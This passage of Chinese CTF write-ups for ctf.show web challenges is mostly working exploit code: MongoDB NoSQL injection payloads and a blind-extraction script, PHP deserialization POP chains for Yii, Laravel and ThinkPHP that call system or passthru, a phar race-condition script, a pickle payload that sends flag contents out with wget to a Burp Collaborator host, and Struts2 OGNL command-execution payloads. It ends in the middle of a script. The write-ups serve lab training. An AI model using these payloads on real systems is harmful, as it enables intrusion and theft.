//查询age = 22的记录
db.userInfo.find({"age": 22});
//相当于:select * from userInfo where age = 22;
//查询age > 22的记录
db.userInfo.find({age: {$gt: 22}});
//相当于:select * from userInfo where age > 22;

后端用的应该是intval校验,可以数组绕过

web250

MongoDB重言式
在mongodb中,要求的查询语句是json格式,如{“username”: “admin”, “password”: “admin”},在php中,json就是数组,也就是Array(‘username’=> ‘admin’, ‘password’=> ‘admin’),同时MongoDB要求的json格式中,是可以进行条件查询的,如这样的json: {"username": "admin", "password": {"$regex": '^abc$'}},会匹配密码abc,也就是说,如果键对应的值是一个字符串,那么就相当于条件等于,只不过省去了json,如果键对应的值是json对象,就代表是条件查询
payload:

username[$ne]=1&password[$ne]=1

在/api/下面post传参

web251

username[$ne]=admin&password[$ne]=1

web252

username[$ne]=1&password[$regex]=ctfshow{

web253

MongoDB盲注

import requests
import string
url="http://5e91023a-1b6a-48ee-82cb-38c9ae1c9850.challenge.ctf.show/api/"

flag=""
s=string.digits+string.ascii_lowercase+string.ascii_uppercase+'_{}-,'
for i in range(1,100):
    for j in s:
        payload="^{}.*$".format(flag+j)
        data={
            'username[$regex]':'flag',
            'password[$regex]':payload
        }
        r=requests.post(url=url,data=data)
        if r"\u767b\u9646\u6210\u529f" in r.text:
            flag+=j
            print(flag)
            if j=="}":
                exit()
            break

php反序列化

反序列化实质就是利用类重新创建了一个对象,只不过这个类名必须在程序原有类中出现

web256

<?php
//highlight_file(__FILE__);
 
 
class ctfShowUser{
    public $username='xxxxx';
    public $password='xxxxxx';
    public $isVip=true;
 
    public function checkVip(){
        return $this->isVip;
    }
    public function login($u,$p){
        return $this->username===$u&&$this->password===$p;
    }
    public function vipOneKeyGetFlag(){
        if($this->isVip){
            global $flag;
            if($this->username!==$this->password){
                    echo "your flag is ".$flag;
              }
        }else{
            echo "no vip, no flag";
        }
    }
    
}
 
$a= new ctfShowUser();
$a->isVip = true;
echo urlencode(serialize($a));

类名必须是ctfShowUser,如果不是,php的自动加载器会报无法查询的错误,php的自动加载器会自动寻找类名或方法,如果不存在,则报错

web257

<?php 
class ctfShowUser{
   private $class;
   public function __construct(){
    $this->class=new backDoor();
 }
}
class backDoor{
    private $code="system('tac f*');";          
}
$a=new ctfShowUser();
echo urlencode(serialize($a));

无法直接将$this->class = new backDoor();替换为eval("system('tac f*');");的原因在于 PHP 对象的序列化和反序列化机制

PHP 序列化对象时,只会保存对象的属性值,而不会保存对象中执行的代码(如 eval),代码会在序列化之前被立即执行,但不会影响序列化的结果,也不会将这段代码嵌入到序列化数据中。

web258

if(isset($username) && isset($password)){
    if(!preg_match('/[oc]:\d+:/i', $_COOKIE['user'])){
        $user = unserialize($_COOKIE['user']);
    }
    $user->login($username,$password);
}


多了正则表达式,表示匹配o或c开头+:+任意个数字+:的格式,形如O:8:,改成O:+8:即可

<?php 
class ctfShowUser{
   public $class;
   public function __construct(){
    $this->class=new backDoor();
 }
}
class backDoor{
    public $code="system('tac f*');";
}
$a=new ctfShowUser();
$b=serialize($a);
$b=str_replace("O:","O:+",$b);
echo urlencode($b);

web259

调用一个不存在的方法时触发__call魔术方法

利用下面的脚本来查看当前环境存在的可利用的原生类

没有soapclient的原因是soap扩展未开启

<?php
$classes = get_declared_classes();
foreach ($classes as $class) {
    $methods = get_class_methods($class);
    foreach ($methods as $method) {
        if (in_array($method, array(
            '__destruct',
            '__toString',
            '__wakeup',
            '__call',
            '__callStatic',
            '__get',
            '__set',
            '__isset',
            '__unset',
            '__invoke',
            '__set_state'
        ))) {
            print $class . '::' . $method . "\n";
        }
    }
} 

soapclient的__call方法就是把用 PHP 语言写的请求翻译成服务器能理解的 SOAP 请求,相当于发包,根据flag.php的要求写一个soapclient的类进行反序列化就可以

<?php
$target = 'http://127.0.0.1/flag.php';
$post_string = 'token=ctfshow';
$b = new SoapClient(null,array('location' => $target,'user_agent'=>'wupco^^X-Forwarded-For:127.0.0.1,127.0.0.1^^Content-Type: application/x-www-form-urlencoded'.'^^Content-Length: '.(string)strlen($post_string).'^^^^'.$post_string,'uri'=> "ssrf"));
$a = serialize($b);
$a = str_replace('^^',"\r\n",$a);
echo urlencode($a);
?>

实际上,直接访问flag.php,传入token值,把x-forwarder-for的头改成127.0.0.1,127.0.0.1,再访问flag.txt就可以拿到flag

web261

php>=7.4时
当__serialize和__sleep方法同时存在,序列化时忽略__sleep方法而执行__serialize;当__unserialize方法和__wakeup方法同时存在,反序列化时忽略__wakeup方法而执行__unserialize
__unserialize的参数:当__serialize方法存在时,参数为__serialize的返回数组;当__serialize方法不存在时,参数为实例对象的所有属性值组合而成的数组

code是弱比较,只需要开头是877即可

<?php
class ctfshowvip
{
    public $username;
    public $password;
    public $code;
 
    public function __construct($u, $p)
    {
        $this->username = $u;
        $this->password = $p;
    }
}
$c = new ctfshowvip('877.php',"<?php system('tac /f*');?>");
echo urlencode(serialize($c));
?>

为什么没有 data 数组也能调用?

如果对象序列化数据中定义了属性,PHP 会将这些数据自动填充到 $data 中

web262

可以用字符串逃逸做 https://www.cnblogs.com/Sayo-/p/15164265.html

也可以再message.php上传

<?php
class message{
    public $from;
    public $msg;
    public $to;
    public $token='admin';
}
$c = new message();
echo base64_encode(serialize($c));
?>

在cookie里传入msg的值即可

web263

ini_set(‘session.serialize_handler’, ‘php’) 时的Session文件内容例:user|s:3:“xxx”;

ini_set(‘session.serialize_handler’, ‘php_serialize’) 时的Session文件内容例:a:1:{s:4:“user”;s:3:“xxx”;}

在 inc.php 发现设置引擎为 php 说明原本配置为php_serialize,并且存在 session_start() 会读取Session文件通过 php 引擎来反序列化Session

<?php
class User {
    public $username;
    public $password;
    public $status='a';
}
$a=new User();
$a->username='b.php';
$a->password='<?php system("cat f*");?>';
echo base64_encode('|'.serialize($a));
?>

加|这个的作用是,利用反序列化的引擎不同,将|的前面的内容视为key,那么题目源码在反序列化的时候只会解析|后面的值,就造成对User类的反序列化

先访问index.php,修改limit的值,然后发包,这样把cookie的值存进去,然后向check.php发包,check.php包含的inc.php会对session值进行反序列化,实现文件内容写入,然后访问log-b.php就可以拿到flag

web264

字符串逃逸
因为str_place的存在,可以将原来序列化结果中的token给溢出,只反序列化我们传入的token值
例如:
原来的序列化结果

O:7:"message":4:{s:4:"from";i:1;s:3:"msg";i:1;s:2:"to";s:135:"fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}";s:5:"token";s:4:"user";}

进行替换后

O:7:"message":4:{s:4:"from";i:1;s:3:"msg";i:1;s:2:"to";s:135:"loveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveU";s:5:"token";s:5:"admin";}";s:5:"token";s:4:"user";}

我们通过传入的"和替换的字符闭合$to的序列化值,这样我们传入的token值就会变成序列化得到的第三个属性值,原来的token就会被舍弃,因为确定Object只有4个属性

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-12-03 02:37:19
# @Last Modified by:   h1xa
# @Last Modified time: 2020-12-03 16:05:38
# @message.php
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/


error_reporting(0);
session_start();

class message{
    public $from;
    public $msg;
    public $to;
    public $token='user';
    public function __construct($f,$m,$t){
        $this->from = $f;
        $this->msg = $m;
        $this->to = $t;
    }
}

$f=1;
$m=1;
$t="fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck\";s:5:\"token\";s:5:\"admin\";}";

$msg = new message($f,$m,$t);
$umsg = str_replace('fuck', 'loveU', serialize($msg));
echo base64_encode($umsg);
?>


没回显多发几次包,访问message.php要在cookie里随便设一个msg

web265

php按地址传参
只需要让token按地址传给passowrd

php的&只是对变量名的引用,而在c++中是取地址

<?php
class ctfshowAdmin{
    public $token;
    public $password;
    public function __construct(){
        $this->token='a';
        $this->password =&$this->token;
}
}
$a=new ctfshowAdmin();
echo serialize($a);
?>

web266

php反序列化大小写不敏感

<?php
class ctfShow{
}
$a=new ctfShow();
echo serialize($a);

bp抓包POST传参

O:7:"ctfShow":0:{}

web267

yii反序列化漏洞(cve-2020-15148)
web267-270都是利用链

定位到BatchQueryResult类

public function __destruct()
    {
        // make sure cursor is closed
        $this->reset();
    }

    /**
     * Resets the batch query.
     * This method will clean up the existing batch query so that a new batch query can be performed.
     */
    public function reset()
    {
        if ($this->_dataReader !== null) {
            $this->_dataReader->close();
        }
        $this->_dataReader = null;
        $this->_batch = null;
        $this->_value = null;
        $this->_key = null;
    }

调用了reset方法,resert方法里调用了close方法,这里可以利用魔术方法__call

在src/Faker/Generator.php里的faker类中

public function __call($method, $attributes)
    {
        return $this->format($method, $attributes);
    }

format

    public function format($formatter, $arguments = array())
    {
        return call_user_func_array($this->getFormatter($formatter), $arguments);
    }

    /**
     * @param string $formatter
     *
     * @return Callable
     */
    public function getFormatter($formatter)
    {
        if (isset($this->formatters[$formatter])) {
            return $this->formatters[$formatter];
        }
        foreach ($this->providers as $provider) {
            if (method_exists($provider, $formatter)) {
                $this->formatters[$formatter] = array($provider, $formatter);

                return $this->formatters[$formatter];
            }
        }
        throw new \InvalidArgumentException(sprintf('Unknown formatter "%s"', $formatter));
    }

这里$formatter,$arguments两个参数我们都不可控,但是传入的$this->getFormatter($formatter)我们是可控的,而在getFormatter这个方法中,

return $this->formatters[$formatter];

rest/IndexAction.php

    public function run()
    {
        if ($this->checkAccess) {
            call_user_func($this->checkAccess, $this->id);
        }

        return $this->prepareDataProvider();
    }

所以利用链

yii\db\BatchQueryResult::__destruct() -> Faker\Generator::__call() -> yii\rest\IndexAction::run()

回到题目

弱密码 admin admin登录成功后,在about页面发现提示?view-source
访问url/?r=site/about&view-source得到反序列化点
payload ?r=backdoor/shell&code=poc
poc生成

<?php
namespace yii\rest{
    class CreateAction{
        public $checkAccess;
        public $id;
        public function __construct(){
            $this->checkAccess = 'passthru';
            $this->id = 'tac /flag';
        }
    }
}
namespace Faker{
    use yii\rest\CreateAction;

    class Generator{
        protected $formatters;

        public function __construct(){
            $this->formatters['close'] = [new CreateAction(), 'run'];
        }
    }
}
namespace yii\db{
    use Faker\Generator;

    class BatchQueryResult{
        private $_dataReader;

        public function __construct(){
            $this->_dataReader = new Generator;
        }
    }
}
namespace{
    echo base64_encode(serialize(new yii\db\BatchQueryResult));
}
?>

web268

换成对RunProcess的__destruct方法利用

<?php
namespace yii\rest{
    class CreateAction{
        public $checkAccess;
        public $id;

        public function __construct(){
            $this->checkAccess = 'phpinfo';
            $this->id = '1';
        }
    }
}

namespace Faker{
    use yii\rest\CreateAction;

    class Generator{
        protected $formatters;

        public function __construct(){
            // 这里需要改为isRunning
            $this->formatters['isRunning'] = [new CreateAction(), 'run'];
        }
    }
}

// poc2
namespace Codeception\Extension{
    use Faker\Generator;
    class RunProcess{
        private $processes;
        public function __construct()
        {
            $this->processes = [new Generator()];
        }
    }
}
namespace{
    // 生成poc
    echo base64_encode(serialize(new Codeception\Extension\RunProcess()));
}

web269

<?php
namespace yii\rest{
    class CreateAction{
        public $checkAccess;
        public $id;

        public function __construct(){
            $this->checkAccess = 'passthru';
            $this->id = 'cat /f*';
        }
    }
}

namespace Faker{
    use yii\rest\CreateAction;

    class Generator{
        protected $formatters;

        public function __construct(){
            // 这里需要改为isRunning
            $this->formatters['render'] = [new CreateAction(), 'run'];
        }
    }
}

namespace phpDocumentor\Reflection\DocBlock\Tags{

    use Faker\Generator;

    class See{
        protected $description;
        public function __construct()
        {
            $this->description = new Generator();
        }
    }
}
namespace{
    use phpDocumentor\Reflection\DocBlock\Tags\See;
    class Swift_KeyCache_DiskKeyCache{
        private $keys = [];
        private $path;
        public function __construct()
        {
            $this->path = new See;
            $this->keys = array(
                "axin"=>array("is"=>"handsome")
            );
        }
    }
    // 生成poc
    echo base64_encode(serialize(new Swift_KeyCache_DiskKeyCache()));
}
?>

web270

<?php

namespace yii\rest{
    class IndexAction{
        public $checkAccess;
        public $id;
        public function __construct(){
            $this->checkAccess = 'passthru';
            $this->id = 'cat /fl*';
        }
    }
}
namespace yii\db{

    use yii\web\DbSession;

    class BatchQueryResult
    {
        private $_dataReader;
        public function __construct(){
            $this->_dataReader=new DbSession();
        }
    }
}
namespace yii\web{

    use yii\rest\IndexAction;

    class DbSession
    {
        public $writeCallback;
        public function __construct(){
            $a=new IndexAction();
            $this->writeCallback=[$a,'run'];
        }
    }
}

namespace{

    use yii\db\BatchQueryResult;

    echo base64_encode(serialize(new BatchQueryResult()));
}

web267-270通用

<?php
namespace Faker{
    class DefaultGenerator{
        protected $default;
        public function __construct()
        {
            $this->default = "cat /f*";
        }
    }

    class ValidGenerator
    {
        protected $generator;
        protected $validator;
        protected $maxRetries;
        public function __construct()
        {
            $this -> generator = new DefaultGenerator();
            $this -> validator = "passthru";
            $this -> maxRetries = 1;
        }
    }
}

namespace Codeception\Extension {
    use Faker\ValidGenerator;
    class RunProcess{
        private $processes;
        public function __construct()
        {
            $this -> processes = [new ValidGenerator()];
        }
    }
}
namespace app\controllers {
    use Codeception\Extension\RunProcess;
    $a = new RunProcess();
    $res = serialize($a);
    echo  base64_encode($res);
}

web271

laravel5.7反序列化漏洞(CVE-2019-9081)
https://laworigin.github.io/2019/02/21/laravelv5-7%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96rce/?
https://blog.51cto.com/u_15127633/4527327
https://blog.csdn.net/miuzzx/article/details/110558192

<?php

namespace Illuminate\Foundation\Testing {
    class PendingCommand
    {
        public $test;
        protected $app;
        protected $command;
        protected $parameters;

        public function __construct($test, $app, $command, $parameters)
        {
            $this->test = $test;                 //一个实例化的类 Illuminate\Auth\GenericUser
            $this->app = $app;                   //一个实例化的类 Illuminate\Foundation\Application
            $this->command = $command;           //要执行的php函数 system
            $this->parameters = $parameters;     //要执行的php函数的参数  array('id')
        }
    }
}

namespace Faker {
    class DefaultGenerator
    {
        protected $default;

        public function __construct($default = null)
        {
            $this->default = $default;
        }
    }
}

namespace Illuminate\Foundation {
    class Application
    {
        protected $instances = [];

        public function __construct($instances = [])
        {
            $this->instances['Illuminate\Contracts\Console\Kernel'] = $instances;
        }
    }
}

namespace {
    $defaultgenerator = new Faker\DefaultGenerator(array("hello" => "world"));

    $app = new Illuminate\Foundation\Application();

    $application = new Illuminate\Foundation\Application($app);

    $pendingcommand = new Illuminate\Foundation\Testing\PendingCommand($defaultgenerator, $application, 'system', array('cat /f*'));

    echo urlencode(serialize($pendingcommand));
}

web272 web273

Laravel5.8.x反序列化POP链
https://xz.aliyun.com/t/5911?time__1311=n4%2BxnivOG%3DKmqGNDQr4BK0QDOIXoDtdeTeF4D

<?php
namespace PhpParser\Node\Scalar\MagicConst{
    class Line {}
}
namespace Mockery\Generator{
    class MockDefinition
    {
        protected $config;
        protected $code;

        public function __construct($config, $code)
        {
            $this->config = $config;
            $this->code = $code;
        }
    }
}
namespace Mockery\Loader{
    class EvalLoader{}
}
namespace Illuminate\Bus{
    class Dispatcher
    {
        protected $queueResolver;
        public function __construct($queueResolver)
        {
            $this->queueResolver = $queueResolver;
        }
    }
}
namespace Illuminate\Foundation\Console{
    class QueuedCommand
    {
        public $connection;
        public function __construct($connection)
        {
            $this->connection = $connection;
        }
    }
}
namespace Illuminate\Broadcasting{
    class PendingBroadcast
    {
        protected $events;
        protected $event;
        public function __construct($events, $event)
        {
            $this->events = $events;
            $this->event = $event;
        }
    }
}
namespace{
    $line = new PhpParser\Node\Scalar\MagicConst\Line();
    $mockdefinition = new Mockery\Generator\MockDefinition($line,"<?php system('cat /f*');?>");
    $evalloader = new Mockery\Loader\EvalLoader();
    $dispatcher = new Illuminate\Bus\Dispatcher(array($evalloader,'load'));
    $queuedcommand = new Illuminate\Foundation\Console\QueuedCommand($mockdefinition);
    $pendingbroadcast = new Illuminate\Broadcasting\PendingBroadcast($dispatcher,$queuedcommand);
    echo urlencode(serialize($pendingbroadcast));
}
?>

web274

thinkphp 5.1反序列化漏洞
https://xz.aliyun.com/t/6619#toc-1

<?php
namespace think;
 
abstract class Model{
    protected $append = [];
    private $data = [];
    public function __construct()
    {
        $this->append = ["li"=>[]];
        $this->data = ["li"=>new Request()];
    }
}
namespace think\process\pipes;
use think\model\Pivot;
class Windows{
    private $files = [];
    public function __construct()
    {
        $this->files = [new Pivot()];
    }
}
namespace think\model;
use think\model;
class Pivot extends Model{
 
}
namespace think;
class Request{
    protected $hook = [];
    protected $filter;
    protected $config;
    protected $param = [];
    public function __construct()
    {
        $this->hook = ["visible"=>[$this,"isAjax"]];
        $this->filter = 'system';
        $this->config = ["var_ajax"=>''];
        $this->param = ['cat /f*'];
    }
}
use think\process\pipes\Windows;
echo base64_encode(serialize(new Windows()));
?>

web275

让evilfile=true就可以执行系统命令

?fn=;cat f*
POST: flag:123

web276

无法直接修改admin,我们可以采用 phar 文件来触发,当读取 phar 文件时,会自动反序列化meta-data中的字符串,采用 phar 协议来读取即可。

不止 file_put_contents,php一大部分的文件系统函数在通过phar://伪协议解析phar文件时,都会将meta-data进行反序列化
受影响的函数
https://blog.51cto.com/u_15878568/5955469

生成 phar 文件

<?php
class filter 
{
    public $filename = ';cat fl*';
    public $evilfile = true;
    public $admin = true;
}

// 后缀必须为phar
$phar = new Phar("evil.phar");
$phar->startBuffering();
// 设置 stubb, 增加 gif 文件头
$phar->setStub("<?php __HALT_COMPILER(); ?>");
$o = new filter();
/**
 * 将自定义的 meta-data 存入 manifest
 * 这个函数需要在php.ini中修改 phar.readonly 为 Off
 * 否则的话会抛出 
 * creating archive "***.phar" disabled by the php.ini setting phar.readonly 
 * 异常.
 */
$phar->setMetadata($o);
// 添加需压缩的文件
$phar->addFromString("test.txt", "test");
$phar->stopBuffering();

?>

还需要结合条件竞争,因为我们写入的这个 phar 文件会被删除,我们需要在它还没有被删除前访问到它,触发反序列化。

import threading
import requests
 
url = "http://70ee6545-45af-44bc-94db-d01ba35bb500.challenge.ctf.show/"
content = open("my.phar", "rb").read()
found_flag = False
 
def upload():
    requests.post(url=url + "?fn=my.phar", data=content)#第一次发包写入
 
def read():
    global found_flag
    response = requests.post(url=url + "?fn=phar://my.phar/", data="1")#第二次发包读取触发反序列化
    if "ctfshow{" in response.text or "flag{" in response.text:
        print(response.text)
        found_flag = True
 
while not found_flag:
    threading.Thread(target=upload).start()
    threading.Thread(target=read).start()

web277,web278

pickle反序列化初探
https://www.k0rz3n.com/2018/11/12/%E4%B8%80%E7%AF%87%E6%96%87%E7%AB%A0%E5%B8%A6%E4%BD%A0%E7%90%86%E8%A7%A3%E6%BC%8F%E6%B4%9E%E4%B9%8BPython%20%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E/#1-%E5%87%A0%E4%B8%AA%E9%87%8D%E8%A6%81%E7%9A%84%E5%87%BD%E6%95%B0

https://xz.aliyun.com/t/7436?time__1311=n4%2BxnD0G0%3Dit0Q6qGNnmjYYDtvvOxggrD&alichlgref=https%3A%2F%2Fxz.aliyun.com%2Ft%2F7436#toc-0

import os
import pickle
import base64


class abc(object):
    def __reduce__(self):
        return os.popen, ('wget nof95ilwle7a9d8m6q22z0234uaky9.burpcollaborator.net?c=`cat fla*`.',)


print(base64.b64encode(pickle.dumps(abc())))

python 可以执行命令的函数

eval, execfile, compile, open, file, map, input,
os.system, os.popen, os.popen2, os.popen3, os.popen4, os.open, os.pipe,
os.listdir, os.access,
os.execl, os.execle, os.execlp, os.execlpe, os.execv,
os.execve, os.execvp, os.execvpe, os.spawnl, os.spawnle, os.spawnlp, os.spawnlpe,
os.spawnv, os.spawnve, os.spawnvp, os.spawnvpe,
pickle.load, pickle.loads,cPickle.load,cPickle.loads,
subprocess.call,subprocess.check_call,subprocess.check_output,subprocess.Popen,
commands.getstatusoutput,commands.getoutput,commands.getstatus,
glob.glob,
linecache.getline,
shutil.copyfileobj,shutil.copyfile,shutil.copy,shutil.copy2,shutil.move,shutil.make_archive,
dircache.listdir,dircache.opendir,
io.open,
popen2.popen2,popen2.popen3,popen2.popen4,
timeit.timeit,timeit.repeat,
sys.call_tracing,
code.interact,code.compile_command,codeop.compile_command,
pty.spawn,
posixfile.open,posixfile.fileopen,
platform.popen

Java

web279

struts2漏洞 S2-001
https://www.freebuf.com/column/224041.html
https://blog.csdn.net/ljc13626678577/article/details/140364890

struts2漏洞 S2-001是当用户提交表单数据且验证失败时,服务器使用OGNL表达式解析用户先前提交的参数值,%{value}并重新填充相应的表单数据。例如,在注册或登录页面中。如果提交失败,则服务器通常默认情况下将返回先前提交的数据。由于服务器用于%{value}对提交的数据执行OGNL表达式解析,因此服务器可以直接发送有效载荷来执行命令。

测试%{1+1},返回2就是存在漏洞

struts2漏洞通杀脚本
原项目地址 https://github.com/HatBoy/Struts2-Scan
好像后面更改过有点问题
下载链接:https://pan.baidu.com/s/19yr0tWbG1UU_ULjEan5ttQ 提取码:bn71 这里下载

python Struts2Scan.py -u http://e7779076-f28f-4d03-8676-8a32a04b17ed.challenge.ctf.show/S2-001/login.action
python Struts2Scan.py -u http://e7779076-f28f-4d03-8676-8a32a04b17ed.challenge.ctf.show/S2-001/login.action -n S2-001 --exec

OGNL表达式中

%  的用途是在标志的属性为字符串类型时,计算OGNL表达式%{}中的值
#  的用途访主要是访问非根对象属性,因为Struts 2中值栈被视为根对象,所以访问其他非根对象时,需要加#前缀才可以调用
$  主要是在Struts 2配置文件中,引用OGNL表达式
// 获取tomcat路径
%{"tomcatBinDir{"+@java.lang.System@getProperty("user.dir")+"}"}

// 获取web路径
%{#req=@org.apache.struts2.ServletActionContext@getRequest(),#response=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter(),#response.println(#req.getRealPath('/')),#response.flush(),#response.close()}

// 命令执行 env,flag就在其中
password=%{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"env"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}&username=1
12345678
%{"tomcatBinDir{"+@java.lang.System@getProperty("user.dir")+"}"}

%{"tomcatBinDir{:这是OGNL表达式的起始部分,表示我们要执行一个表达式
"+@java.lang.System@getProperty("user.dir")+"}
@java.lang.System:指向Java的System类。
getProperty("user.dir"):调用System类的getProperty方法,获取当前工作目录。
"tomcatBinDir{"+和+"}:字符串拼接,将获取的当前工作目录包装在字符串tomcatBinDir{}
这个表达式的结果是获取Tomcat的bin目录,并将其输出为字符串格式

%{#req=@org.apache.struts2.ServletActionContext@getRequest(),#response=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter(),#response.println(#req.getRealPath('/')),#response.flush(),#response.close()}

%{:这是OGNL表达式的起始部分,表示我们要执行一个表达式。
#req=@org.apache.struts2.ServletActionContext@getRequest():
#req:定义一个变量req。
@org.apache.struts2.ServletActionContext@getRequest():调用Struts2的ServletActionContext类的getRequest方法,获取当前的HTTP请求对象。
#response=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter():
#response:定义一个变量response。
#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter():从Struts2的上下文中获取HTTP响应对象的Writer,用于输出内容。
#response.println(#req.getRealPath('/')):
#req.getRealPath('/'):调用请求对象的getRealPath方法,获取Web应用程序的根路径。
#response.println():将获取到的路径输出到HTTP响应中。
#response.flush(),#response.close()}:
#response.flush():刷新响应的输出流。
#response.close():关闭响应的输出流。
这个表达式的结果是获取Web应用程序的根路径,并将其输出到HTTP响应中。

password=%{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"env"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}&username=1
12345678

password=%{:
这是OGNL表达式的起始部分,表示我们要执行一个表达式。
password=:设置请求参数password的值为表达式的结果。
#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"env"})).redirectErrorStream(true).start():
#a:定义一个变量a。
(new java.lang.ProcessBuilder(new java.lang.String[]{"env"})):创建一个新的ProcessBuilder对象,用于执行env命令。
.redirectErrorStream(true):将错误流重定向到标准输出流。
.start():启动进程。
#b=#a.getInputStream():
#b:定义一个变量b。
#a.getInputStream():获取进程的输入流,用于读取命令的输出。
#c=new java.io.InputStreamReader(#b):
#c:定义一个变量c。
new java.io.InputStreamReader(#b):创建一个新的InputStreamReader对象,读取输入流。
#d=new java.io.BufferedReader(#c):
#d:定义一个变量d。
new java.io.BufferedReader(#c):创建一个新的BufferedReader对象,缓冲读取字符输入流。
#e=new char[50000]:
#e:定义一个变量e。
new char[50000]:创建一个新的字符数组,大小为50000,用于存储读取的数据。
#d.read(#e):
#d.read(#e):读取输入流的数据到字符数组#e中。
#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"):
#f:定义一个变量f。
#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"):从Struts2的上下文中获取HTTP响应对象。
#f.getWriter().println(new java.lang.String(#e)):
#f.getWriter().println(new java.lang.String(#e)):将字符数组#e中的数据转换为字符串,并输出到HTTP响应中。
#f.getWriter().flush(),#f.getWriter().close()}:
#f.getWriter().flush():刷新响应的输出流。
#f.getWriter().close():关闭响应的输出流。
&username=1:设置请求参数username的值为1。
12345678:这是请求的密码部分,用于传递到服务器。
这个表达式的结果是执行env命令,并将其输出写入HTTP响应。

web280

通杀

python Struts2Scan.py -u http://da695f47-5f39-461b-9f93-2b9b837d631c.challenge.ctf.show/S2-005/example/HelloWorld.action
python Struts2Scan.py -u http://da695f47-5f39-461b-9f93-2b9b837d631c.challenge.ctf.show/S2-005/example/HelloWorld.action -n S2-005 --exec

web281

工具的默认参数为username和password

更改参数

python Struts2Scan.py -u http://da695f47-5f39-461b-9f93-2b9b837d631c.challenge.ctf.show/S2-007/user.action -d name=111&email=1111&age=11111

扫出来是S2-016

web282

python Struts2Scan.py -u http://722dbf51-fcd3-4e5f-a1b6-3d60d224426d.challenge.ctf.show/S2-008/cookie.action 

web283

python Struts2Scan.py -u https://335fa708-f644-4ad8-b2f9-031e9489660a.challenge.ctf.show/S2-009/showcase.action -n S2-008 --exec

web284

python Struts2Scan.py -u http://75be7dec-72a1-4919-b836-82a7cee3ead7.challenge.ctf.show/S2-012/user.action -d name=1

web285

python Struts2Scan.py -u http://e0350181-1ef4-4624-9556-68c73df532c1.challenge.ctf.show/S2-013/link.action 

web286

扫出来是S2-045

python Struts2Scan.py -u http://42ef967a-3f42-4655-9153-edf19948e933.challenge.ctf.show/S2-015/ 

web287

python Struts2Scan.py -u http://8d6a1903-5878-4967-a813-29d24c066f6e.challenge.ctf.show/S2-016/

web288

python Struts2Scan.py -u http://f373d6b2-9584-40cb-a14b-74a5470fc519.challenge.ctf.show/S2-019/example/HelloWorld.action?request_locale=es

还是S2-045才能看到flag

web289

python Struts2Scan.py -u http://01ac4ca7-a917-4392-b283-b17f5cedc423.challenge.ctf.show/S2-029/

可以多扫几遍,有时候第一遍扫不出来,还是S2-045

web290

python Struts2Scan.py -u https://f3cde640-b766-42dd-bae6-1115595af94f.challenge.ctf.show/S2-032/ -n S2-032 --exec

web291

python Struts2Scan.py -u https://310aa8c4-4b62-4d58-9591-e03c37743a83.challenge.ctf.show/S2-033/orders

web292

python Struts2Scan.py -u https://a2609aff-c4d2-4b10-b675-8c96ce9403d6.challenge.ctf.show/S2-037/orders

web293

python Struts2Scan.py -u https://9fb396ef-2cc9-4db7-975a-058300d11b81.challenge.ctf.show/S2-045/orders

web294

python Struts2Scan.py -u http://0fcf3c78-9f35-4ba1-bab1-fd69f3ee7daa.challenge.ctf.show/S2-046/doUpload.action

没扫出漏洞不一定不能利用漏洞,可以根据提示直接利用漏洞

web295

工具没扫出来,用别的脚本跑

import json
import re
import requests
import urllib.parse


def Poc(url, command):
    header = {'Content-Type': 'application/x-www-form-urlencoded'}
    poc = {
        "name": "%{(#szgx='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='"
                + command +
                "').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.close())}",
        "age": "1",
        "__checkbox_bustedBefore": "true",
        "description": "123123"
    }
    data = urllib.parse.urlencode(poc)
    try:
        result = requests.post(url, data=data, headers=header)
        if result.status_code == 200:
            print(result.text)
    except requests.ConnectionError as e:
        print(e)


th = {"url": ""}

while True:
    if th.get("url") != "":
        input_cmd = input("cmd >>: ")
        if input_cmd == "exit":
            exit()
        elif input_cmd == 'set':
